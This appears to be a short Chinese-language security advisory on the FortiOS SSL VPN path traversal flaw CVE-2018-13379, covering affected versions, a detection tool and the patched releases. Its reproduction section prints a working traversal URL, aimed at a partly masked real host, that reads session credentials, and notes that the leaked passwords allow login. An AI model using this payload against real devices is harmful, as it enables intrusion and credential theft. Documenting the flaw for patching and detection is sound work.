漏洞介紹
Fortinet FortiOS是美國飛塔（Fortinet）公司的一套專用於FortiGate網絡安全平台上的安全操作系統。該系統為用戶提供防火牆、防病毒、VPN、Web內容過濾和反垃圾郵件等多種安全功能。
Fortinet FortiOS路徑遍歷漏洞（CNNVD-201905-1026、CVE-2018-13379）
漏洞源於該系統未能正確地過濾資源或文件路徑中的特殊元素，導致攻擊者可以利用該漏洞訪問受限目錄以外的位置。Fortinet FortiOS 5.6.3版本至5.6.7版本、6.0.0版本至6.0.4版本中的SSL VPN 受此漏洞影響。
影響版本
Fortinet FortiOS 5.6.3版本至5.6.7版本、
Fortinet FortiOS 6.0.0版本至6.0.4版本
中的SSL VPN 受此漏洞影響。
漏洞復現
https://218.xx.xx.xx:8443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
利用泄露的賬號密碼可以登錄
檢測工具
https://github.com/ianxtianxt/CVE-2018-13379
漏洞修復
Fortigate官方已發布升級補丁修復了該漏洞，建議用戶盡快將Fontigate升級到FortiOS 5.4.11、5.6.9、6.0.5、6.2.0或更高版本，從而修補漏洞帶來的危害。官方補丁鏈接如下：
https://fortiguard.com/psirt/FG-IR-18-384